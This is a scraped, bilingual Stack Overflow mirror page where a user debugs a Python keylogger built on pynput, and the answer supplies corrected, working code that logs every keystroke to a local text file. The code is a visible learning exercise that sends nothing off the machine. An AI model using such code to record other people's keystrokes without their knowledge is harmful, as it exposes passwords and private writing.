简体   繁体   English

我使用 python 制作了一个简单的键盘记录程序,但它显示“TypeError: write_file() takes 0 positional arguments but 1 was given”

[英]I made a simple keylogger program using python but it displays “TypeError: write_file() takes 0 positional arguments but 1 was given”

This is my main program, and I have used pynput library to make this program:这是我的主程序,我使用了 pynput 库来制作这个程序:

import pynput

from pynput.keyboard import Key, Listener

count = 0
keys = []

def on_press(key):
    global keys, count
    keys.append(key)
    count += 1
    print("{0} pressed".format(key))

    if count >= 10:
        count = 0
        write_file(key)
        keys = []

def write_file():
    with open("log.txt", "a") as f:
        for key in keys:
            k = str(key).replace("'","")
            if k.find("space") > 0:
                f.write("\n")
            elif k.find("Key") == -1:
                f.write(k)
            f.write(str(key))

def on_release(key):
    if key == Key.esc:
        return False

    


with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

On console, the program keeps track of all the keys being pressed but when the count reaches it's limit, instead of storing the data in "log.txt" it displays:在控制台上,程序会跟踪所有被按下的键,但是当计数达到其限制时,它不会将数据存储在“log.txt”中,而是显示:

Key.shift pressed
    'H' pressed
    'e' pressed
    'l' pressed
    'l' pressed
    'o' pressed
    Key.space pressed
    'w' pressed
    'o' pressed
    Unhandled exception in listener callback
    Traceback (most recent call last):
      File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\_util\__init__.py", line 211, in inner
        return f(self, *args, **kwargs)
      File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\keyboard\_win32.py", line 280, in _process
        self.on_press(key)
      File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\_util\__init__.py", line 127, in inner
        if f(*args) is False:
      File "C:/Users/Innnova/PycharmProjects/Keylogger/main.py", line 16, in on_press
        write_file(key)
    TypeError: write_file() takes 0 positional arguments but 1 was given
    Traceback (most recent call last):
      File "C:/Users/Innnova/PycharmProjects/Keylogger/main.py", line 37, in <module>
        listener.join()
      File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\_util\__init__.py", line 259, in join
        six.reraise(exc_type, exc_value, exc_traceback)
      File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\six.py", line 702, in reraise
        raise value.with_traceback(tb)
      File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\_util\__init__.py", line 211, in inner
        return f(self, *args, **kwargs)
      File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\keyboard\_win32.py", line 280, in _process
        self.on_press(key)
      File "C:\Users\Innnova\PycharmProjects\Keylogger\venv\lib\site-packages\pynput\_util\__init__.py", line 127, in inner
        if f(*args) is False:
      File "C:/Users/Innnova/PycharmProjects/Keylogger/main.py", line 16, in on_press
        write_file(key)
    TypeError: write_file() takes 0 positional arguments but 1 was given
    'r' pressed

As you can see, I was trying to write "Hello World" but as soon as I reach the word R in "Hello World" the program throws the TypeError on me正如你所看到的,我试图写“Hello World”,但是当我在“Hello World”中找到 R 时,程序就会向我抛出 TypeError

Remove one write-command from write_file() to avoid duplicate output to the logfile.write_file()中删除一个写入命令,以避免将 output 复制到日志文件中。 I have modified the code slightly, see inline comments.我稍微修改了代码,请参阅内联注释。

import pynput

from pynput.keyboard import Key, Listener

count = 0
keys = []

def on_press(key):
    global keys, count
    keys.append(key)
    count += 1
    print("{0} pressed".format(key))

    if count >= 10:
        count = 0
        write_file(keys)
        keys = []

def write_file(keys):
    with open("pynput-log.txt", "a") as f:
        for key in keys:
            k = str(key).replace("'","")
            if k.find("space") > 0:
                f.write("\n")
            elif k.find("Key") == -1:
                f.write(k)
            #f.write(str(key))  this caused duplicate output

def on_release(key):
    if key == Key.esc:
        write_file(keys)  # write remaining data
        return False

with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

相关问题 Using Map function with Lambda in Python: TypeError: () takes 0 positional arguments but 1 was given - Using Map function with Lambda in Python: TypeError: () takes 0 positional arguments but 1 was given Python:TypeError:draw()接受0个位置参数,但给出了1个 - Python: TypeError: draw() takes 0 positional arguments but 1 was given Python TypeError:接受 4 个位置参数,但给出了 5 个 - Python TypeError: takes 4 positional arguments but 5 were given 为什么我得到TypeError的函数:f()接受0个位置参数,但给出了1个 - Why is my function that I made getting the TypeError: f() takes 0 positional arguments but 1 was given TypeError:取 0 位置 arguments 但给出 1 - TypeError: takes 0 positional arguments but 1 was given 类型错误:simple_query() 需要 2 个位置参数,但给出了 3 个 - TypeError: simple_query() takes 2 positional arguments but 3 were given TypeError: write_register() 需要 3 个位置 arguments 但给出了 4 个 - TypeError: write_register() takes 3 positional arguments but 4 were given 如何修复 Python 中的“TypeError: MOVE() 需要 0 个位置参数,但给出了 1 个” - How to fix 'TypeError: MOVE() takes 0 positional arguments but 1 was given' in Python TypeError: with_column() 从 3 到 4 个位置 arguments 但给出了 5 个(python) - TypeError: with_column() takes from 3 to 4 positional arguments but 5 were given (python) Python TypeError:衍生物_circ()接受2个位置参数,但给出了6个 - Python TypeError: derivatives_circ() takes 2 positional arguments but 6 were given
 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM